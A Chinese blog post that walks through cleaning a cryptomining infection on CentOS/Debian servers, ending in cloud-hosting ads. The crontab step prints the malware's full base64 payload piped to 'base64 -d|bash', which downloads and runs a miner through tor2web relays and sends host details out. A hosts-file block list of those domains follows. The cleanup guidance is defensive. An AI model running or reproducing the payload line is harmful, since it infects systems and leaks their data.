Centos/Debian 占用CPU100%挖矿病毒清理

Cetnos/Debian 占用CPU100%挖矿病毒清理

①top命令查看病毒进程，现在它一般由十位数随机字符串组成
找到进程ID，例如7538，执行：

systemctl status 7538

其一般会有一个守护进程，如:
'cgroup…/system.slice/cron.service

7542 xxx

7538 xxx’

在/tmp/.X11-unix/下一般会有记录守护进程id的文件，不为空的里面好像有加密串，可以解密看看
总之：

kill -9 7542
kill -9 7538

②清理定时任务
查看定时任务：

crontab -l

定时任务中会看到一个.sh脚本，一般在’/root’下，复制.sh脚本名
打开脚本会看到base64加密的脚本命令。
例如：

 echo Wm5KaWZyUzNSaTBiaHhoMjcrc0ViQ2Q5cW03YUx5cHBDbzRRWFMwSGNqSEl4bHg3d1FtaEZWK1FLTlpaSkEzVApleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICJqaTU1ampwbHBrbms3ZWF5eHh0YjVvM3VseHVldm50dXRzZGFub3Y1ZHAzd3lhN2w3YnRqdjRxZCIpCgpzb2NreigpIHsKbj0oZG9oLm5sLmFoYWRucy5uZXQgZG5zLmhvc3R1eC5uZXQgdW5jZW5zb3JlZC5sdXgxLmRucy5uaXhuZXQueHl6IGRucy5ydWJ5ZmlzaC5jbiBkbnMudHduaWMudHcgZG9oLm5vLmFoYWRucy5uZXQgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgcmVzb2x2ZXItZXUubGVsdXguZmkgZG9oLmxpIGRucy5kaWdpdGFsZS1nZXNlbGxzY2hhZnQuY2gpCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpzPSQoJGMgaHR0cHM6Ly8ke25bJCgoUkFORE9NJTExKSldfS8kcCB8IGdyZXAgLW9FICJcYihbMC05XXsxLDN9XC4pezN9WzAtOV17MSwzfVxiIiB8dHIgJyAnICdcbid8Z3JlcCAtRXYgWy5dMHxzb3J0IC11UnxoZWFkIC1uIDEpCn0KCmZleGUoKSB7CmZvciBpIGluIC4gJEhPTUUgL3Vzci9iaW4gJGQgL3Zhci90bXAgO2RvIGVjaG8gZXhpdCA+ICRpL2kgJiYgY2htb2QgK3ggJGkvaSAmJiBjZCAkaSAmJiAuL2kgJiYgcm0gLWYgaSAmJiBicmVhaztkb25lCn0KCnUoKSB7CnNvY2t6CmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKcj0kKGN1cmwgLTRmc1NMayBjaGVja2lwLmFtYXpvbmF3cy5jb218fGN1cmwgLTRmc1NMayBpcC5zYilfJCh3aG9hbWkpXyQodW5hbWUgLW0pXyQodW5hbWUgLW4pXyQoaXAgYXxncmVwICdpbmV0ICd8YXdrIHsncHJpbnQgJDInfXxtZDVzdW18YXdrIHsncHJpbnQgJDEnfSlfJChjcm9udGFiIC1sfGJhc2U2NCAtdzApCiRjIC14IHNvY2tzNWg6Ly8kczo5MDUwICR0Lm9uaW9uJGYgLW8keCAtZSRyIHx8ICRjICQxJGYgLW8keCAtZSRyCmNobW9kICt4ICR4OyR4O3JtIC1mICR4Cn0KCmZvciBoIGluIHRvcjJ3ZWIuaW4gdG9yMndlYi5pdCBvbmlvbi5mb3VuZGF0aW9uIG9uaW9uLmNvbS5kZSBvbmlvbi5zaCB0b3Iyd2ViLnN1IApkbwppZiAhIGxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXM7IHRoZW4KZmV4ZTt1ICR0LiRoCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC90bXA7dSAkdC4kaCkKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL2Rldi9zaG07dSAkdC4kaCkKZWxzZQpicmVhawpmaQpkb25lCg==|base64 -d|bash

复制echo 与|base64之间的base64串解密

然后执行命令删除脚本保存。(或者破坏脚本阻止运行等)

crontab -e

③删除脚本备份
根据解密脚本的命令中的地址，找其对脚本的备份。
除了/root外，如/etc/cron.d/ 、/opt/、/tmp/ 等。
也可以find / -name ‘脚本名’ 查找。
总之最好都删掉。
④屏蔽脚本中的域名
脚本都是被通过域名下载的。
在/etc/hosts中加入脚本中出现的域名进行屏蔽：

127.0.0.1	doh.nl.ahadns.net
127.0.0.1	dns.hostux.net
127.0.0.1	uncensored.lux1.dns.nixnet.xyz
127.0.0.1	dns.rubyfish.cn
127.0.0.1	dns.twnic.tw
127.0.0.1	doh.no.ahadns.net
127.0.0.1	doh-fi.blahdns.com
127.0.0.1	fi.doh.dns.snopyta.org
127.0.0.1	resolver-eu.lelux.fi
127.0.0.1	doh.li
127.0.0.1	dns.digitale-gesellschaft.ch
127.0.0.1	relay.tor2socks.in
127.0.0.1	tor2web.in
127.0.0.1	tor2web.it
127.0.0.1	onion.foundation
127.0.0.1	onion.com.de
127.0.0.1	onion.sh
127.0.0.1	tor2web.su

⑤后续处理
查看/root/.ssh的私钥文件有无异常，
配置/etc/ssh/sshd_config，使用密钥登录等。

如还有问题可以私信我

👉推荐！！！【腾讯云】爆款2核4G云服务器首年74元/年

👉推荐！！！【腾讯云】1核2G5M轻量应用服务器50元/年

【腾讯云】云数据库低至9.9/年！MySQL7.4元/月

【阿里云】ECS云服务器特惠

【阿里云】服务器首购优惠

如果文章对您有帮助，扫个红包码呗